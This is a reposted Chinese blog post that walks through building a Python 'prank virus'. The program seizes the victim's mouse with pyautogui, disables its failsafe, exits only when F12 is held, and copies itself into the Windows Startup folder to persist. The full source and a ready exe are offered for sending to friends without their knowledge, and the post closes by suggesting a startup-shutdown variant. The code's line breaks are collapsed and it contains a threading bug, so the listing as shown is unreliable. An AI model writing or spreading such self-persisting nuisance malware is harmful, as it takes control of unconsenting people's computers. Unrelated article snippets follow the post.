python程序大全(9)——鼠標亂動惡搞小病毒(有資源)

目錄

🏆一、前言

🏆二、程序第一版

🏆三、程序大魔改

🚩1、基礎改動

🚩2、打包

🚩3、F12保護機制

🚩4、添加開機自啟項

🚩5、自己也不懂的線程魔改

🏆四、最終代碼

🏆五、尾聲

🏆一、前言

(程序源碼在最終代碼部分。)

(本文配有資源現成的exe,可以直接轉發給好友)

(模塊:pyautogui,keyboard,sys,shutil,random,os,threading)

(該程序因為不完全是本人寫的,所以講解不怎么好,可忽略)

又是好幾個月沒寫文了,然后發生了一件特別有趣的事想起來了。

自己在遠古時代寫了一個pyautogui的鼠標亂動程序,最近學了打包,然后就把程序打包下來發給我的QQ好友。

我的好友打開這個程序了之后,鼠標亂點剛好點到他的游戲,幫他直接開了一把,還從黃金掉到白銀了哈哈哈哈哈哈

然后就拿著這個程序找我同學,花一天時間將程序大改良,成功做出了一個小型病毒。

程序實現了:

1.運行后鼠標亂動,無法控制。

2.長按F12可以解除。

3.添加開機啟動項,重啟后繼續運行。

🏆二、程序第一版

import pyautogui as gui
import random as r
gui.FAILSAFE =True
a=0
while a<=100:b=r.randint(1,3)if b==1:gui.moveTo(r.randint(1,1919),r.randint(1,1079))if b==2:gui.click(r.randint(1,1919),r.randint(1,1079),button='left')if b==3:gui.dragTo(r.randint(1,1919),r.randint(1,1079))a+=1

這是我做的第一版程序,鼠標可以亂動亂點亂拖100次。后面感覺有點傷害電腦就把亂點亂拖去掉了,只能亂動。

先了解一下pyautogui模塊:這是一個自動化腳本模塊,內有可以操控自己的鼠標和鍵盤的函數。詳情可以在我的主頁查找python詳解(6)這篇文章。

配置pyautogui模塊,只需輸入pip install pyautogui即可。

本程序第三行中的FAILSAFE是一個安全變量,把他設置為True,只要鼠標運行時用力往左上角拖就不會報錯。默認為True。

第8行的moveTo函數有移動鼠標到指定坐標的作用。顯示器的坐標通常是1920*1080。

第10行的click函數有在指定坐標單機的作用。button參數為單機的鼠標鍵。button='right'就會單機鼠標右鍵。

第12行的dragTo有長按鼠標,移動到指定坐標,再松開鼠標的作用,說人話就是拖動。

這個程序要說那里都不錯,就是沒有實現做出來的意義:打包出來去坑人!

🏆三、程序大魔改

想要把程序拿去坑人,就必須進行打包變成exe格式,這樣即使對方的電腦沒有對應模塊,甚至沒有python也能運行。

結果我打包的時候不知道什么原因總是一運行就閃退,于是求助我的同學,結果他直接幫我把程序進行了大魔改:

🚩1、基礎改動

將程序做了一些基礎改動:gui.FAILSAFE調整為False;將鼠標的點擊拖動程序去掉;循環次數直接改成無限次。這些都是小改動,不是重點。

🚩2、打包

打包程序最常用的模塊就是pyinstaller。還是萬能的pip install安裝。

在cmd界面輸入:

pyinstaller -F 要打包文件的路徑

等待他把一大串東西輸出完,文件就打包到了Administrator里面,點開里面的dist文件夾,里面的exe程序就是打包好的程序,雙擊就可以運行。

不知道什么原因我打包帶有pyautogui的程序總是出問題,但是其他程序可以。我同學打包pyautogui程序也可以,就很難評。

🚩3、F12保護機制

代碼要實現:偵測到按下F12之后退出程序。

keyboard模塊里面(還是需要pip安裝)有一個函數:

keyboard.is_pressed()

他將會偵測一個鍵盤按鍵是否被按下。是則返回True。

sys模塊里面有exit()函數,可以關閉該窗口。

于是,我們可以設置一個鼠標移動的函數:

def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))

大功告成!

🚩4、添加開機自啟項

要想程序開機自啟,有一個神奇的路徑:

r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

只要把文件放在這個路徑里面,程序就會開機自啟。這里又要用到其他模塊了:shutil(第三方)還有sys。

shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")

這段代碼可以將該文件復制到開啟自啟項里。

然后呢,就有一個問題:這個文件開機自啟之后,會再運行一遍這個添加開機自啟的程序,因為這個程序已經在開機自啟項里面了,所以會報錯。接下來,要用到萬能的os模塊:

os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 

這串代碼可以返回檢索文件結果。如果找到這個文件了就返回True。這樣我們可以進行控制:

f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:#如果包含該文件try:if __name__ == "__main__":待補充except Exception as e:#這個地方是出現報錯的時候了解報錯情況用的print(e)
else:#如果不包含該文件shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")#直接添加while True:move()

🚩5、自己也不懂的線程魔改

多線程實在看不懂學不會。我同學本人的描述是:

就是創建一個線程,如果之后要加功能的話,也方便,直接扔線程池就完事兒了,創建一個線程,應該也可以避免部分崩潰罷。

然后把上述代碼魔改成了這樣:

threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()

看不懂一點,不過能用就行。

🏆四、最終代碼

import pyautogui as gui
gui.FAILSAFE = False
import keyboard
import sys
import shutil
import random as r
import os
import threading
def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()

28行代碼,我和同學兩個人討論了1天半,最終還是實現了。只要配置好所有模塊打包下來就能用辣!

🏆五、尾聲

程序實用性還是不咋的,殺傷力太小,其實可以在這個基礎上做一個開機自啟關機的程序,直接毒死所有人。

感謝觀看!

--------------------------------------------------------end-------------------------------------------------

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/210599.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/210599.shtml
英文地址,請注明出處:http://en.pswp.cn/news/210599.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

排列游戲 --- 動態規劃 --- 題解

目錄 排列游戲 題目描述 輸入描述: 輸出描述: 輸入 輸出 備注: 思路&#xff1a; 代碼&#xff1a; 排列游戲 K-排列游戲_牛客競賽動態規劃專題班習題課 (nowcoder.com) 時間限制&#xff1a;C/C 1秒&#xff0c;其他語言2秒 空間限制&#xff1a;C/C 262144K&#…

外包干了三年,我承認我確實廢了……

沒錯&#xff0c;我也干過外包&#xff0c;一干就是三年&#xff0c;三年后&#xff0c;我廢了…… 雖說廢的不是很徹底&#xff0c;但那三年我幾乎是出差了三年、玩了三年、荒廢了三年&#xff0c;那三年&#xff0c;我的技術能力幾乎是零成長的。 說起這段三年的外包經歷&a…

vue中滾輪縮放事件

在Vue中&#xff0c;可以使用原生JS的滾輪事件監聽來實現滾輪縮放&#xff1a; 首先在模板中給需要監聽滾輪事件的元素添加一個ref屬性&#xff0c;用于在Vue中獲取元素節點。 <template><div ref"scale"><!-- 需要縮放的內容 --></div> &…

Ubuntu中編譯出Windows的可執行程序(.exe)

1、前言 在嵌入式開發中&#xff0c;交叉編譯是很常見的情況&#xff0c;如果你把Windows電腦也看做一塊高性能的開發板&#xff0c;那在Ubuntu中編譯出Windows上運行的可執行程序也是很好理解的行為。 2、安裝mingw64環境 sudo apt-get install mingw-w64 3、測試編譯鏈是否安…

【力扣100】5.盛水最多的容器

添加鏈接描述 我的題解&#xff1a; class Solution:def maxArea(self, height: List[int]) -> int:# 兩層for循環&#xff0c;保存最大值temp0res0for i in range(len(height)-1):for j in range(i1,len(height)):tempmin(height[i],height[j])*(j-i)# print(temp)resmax…

Linux壓縮命令tar之排除不需要的文件或者目錄(--exclude)

tar 中–exclude的簡單用法 # 首先創建一個如下的目錄結構和測試文件 mydir/ ├── myfile ├── zidir1 │ ├── file1 │ └── file2 ├── zidira │ └── filea └── zidirA├── fileA└── fileB3 directories, 6 files# 上面在 mydir 目錄下有三個子…

C++知識點總結(8):尺取法

尺取法 一、復習枚舉算法1. 算法三要素2. 最小公倍數公式3. 時間復雜度 二、算法優化初級1. 概念2. 例題(1) 最長小寫子串Ⅰ 初步算法Ⅱ 認識尺取法Ⅲ 尺取法程序 (2) 最長遞增子串(3) 最小子串和Ⅰ 偽代碼Ⅱ 完整代碼 (4) 最短字符串包含Ⅰ 偽代碼 Ⅱ 代碼 一、復習枚舉算法 …

打破常規思維:Scrapy處理豆瓣視頻下載的方式

概述 Scrapy是一個強大的Python爬蟲框架&#xff0c;它可以幫助我們快速地開發和部署各種類型的爬蟲項目。Scrapy提供了許多方便的功能&#xff0c;例如請求調度、數據提取、數據存儲、中間件、管道、信號等&#xff0c;讓我們可以專注于業務邏輯&#xff0c;而不用擔心底層的…

MongoDB簡介與安裝

目錄 1. MongoDB簡介 2. 安裝MongoDB 3. 基本命令行操作 4. Java代碼實踐 MongoDB是一種NoSQL數據庫&#xff0c;以其靈活的文檔存儲模型和高度可擴展性而聞名。這篇文章將簡單介紹一下MongoDB的基本概念&#xff0c;包括其特點和優勢&#xff0c;并提供安裝MongoDB的步驟。…

MapReduce的執行過程(以及其中排序)

Map階段(MapTask)&#xff1a; 切片(Split)-----讀取數據(Read)-------交給Mapper處理(Map)------分區和排序(sort) Reduce階段(ReduceTask): 拷貝數據(copy)------排序(sort)-----合并(reduce)-----寫出(write) 1、Map task讀取&#xff1a; 框架調用InputFormat類的子類讀取…

Vue2與Vue3的語法對比

Vue2與Vue3的語法對比 Vue.js是一款流行的JavaScript框架&#xff0c;通過它可以更加輕松地構建Web用戶界面。隨著Vue.js的不斷發展&#xff0c;Vue2的語法已經在很多應用中得到了廣泛應用。而Vue3于2020年正式發布&#xff0c;帶來了許多新的特性和改進&#xff0c;同時也帶來…

rpc原理與應用

IPC和RPC&#xff1f; RPC 而RPC&#xff08;Remote Procedure Call&#xff09;&#xff0c;又叫做遠程過程調用。它本身并不是一個具體的協議&#xff0c;而是一種調用方式。 gRPC 是 Google 最近公布的開源軟件&#xff0c;基于最新的 HTTP2.0 協議&#xff0c;并支持常見…

【SQLite】SQLite3約束總結

前面學習了SQLite數據庫的常見使用方法&#xff0c;其中包含許多約束&#xff0c;常見的如NOT NULL、DEFAULT、UNIQUE、PRIMARY KEY&#xff08;主鍵&#xff09;、CHECK等 本篇文章主要介紹這些約束在SQLite中的使用 目錄 什么是約束NOT NULL 約束DEFAULT約束UNIQUE約束PRIMA…

【設計模式-3.2】結構型——適配器模式

說明&#xff1a;本文介紹設計模式中結構型設計模式中的&#xff0c;適配器模式&#xff1b; 插頭轉換器 適配器模式屬于結構型設計模式&#xff0c;設計思想體現在結構上的。以插頭轉換器為例&#xff0c;當你需要給手機充電&#xff0c;但是眼前只有一個三孔插座&#xff0…

Java基本類型的高級使用方法詳解

引言 Java中的基本數據類型&#xff08;primitive types&#xff09;是構建程序的基礎&#xff0c;包括整型、浮點型、字符型、布爾型等。除了直接使用這些基本類型外&#xff0c;Java還提供了一些高級的使用方法&#xff0c;使得我們能夠更靈活地處理基本類型數據。本文將深入…

二叉樹結點個數、葉子結點個數、樹的高度、第k層結點個數的計算(C語言)

目錄 前言 分治算法 模擬二叉樹代碼 結點個數計算 錯誤方法 不便利方法 基于分治思想的方法 葉子結點個數 樹的高度 第k層結點的個數 前言 在鏈式二叉樹的前序、中序、后續遍歷中我們模擬了一棵二叉樹&#xff0c;并實現了它的前、中、后序遍歷&#xff0c;現在我們來…

UE4 .ini文件使用

在需要給配置文件的類中加上config標簽&#xff0c;當然變量也要加 在項目的Config下&#xff0c;新建一個Default類的UCLASS中config等于的名字&#xff0c;這里結合上面截圖就是DefaultTest 在下面寫入 [/Script/項目名/類名] 然后寫變量以及對應的值即可

【Angular 開發】Angular 信號的應用狀態管理

自我介紹 做一個簡單介紹&#xff0c;年近48 &#xff0c;有20多年IT工作經歷&#xff0c;目前在一家500強做企業架構&#xff0e;因為工作需要&#xff0c;另外也因為興趣涉獵比較廣&#xff0c;為了自己學習建立了三個博客&#xff0c;分別是【全球IT瞭望】&#xff0c;【架構…

智能機器人在新材料方面遇到的挑戰

智能機器人在新材料方面面臨的挑戰包括但不限于以下幾點&#xff1a; 新材料的研發&#xff1a;機器人需要使用新材料來提高其性能和功能。然而&#xff0c;新材料的研發需要大量的時間和資金&#xff0c;同時還需要具備高超的技術和專業知識. 材料的可靠性&#xff1a;機器人…

GO面試題系列

1.GO有哪些關鍵字 2.GO有哪些數據類型 3.Go方法與函數的區別 在Go語言中&#xff0c;方法和函數是兩個不同的概念&#xff0c;盡管它們在某些方面有相似之處。下面是它們的主要區別&#xff1a; 定義位置&#xff1a; 函數&#xff1a; 函數是獨立聲明的&#xff0c;它們不…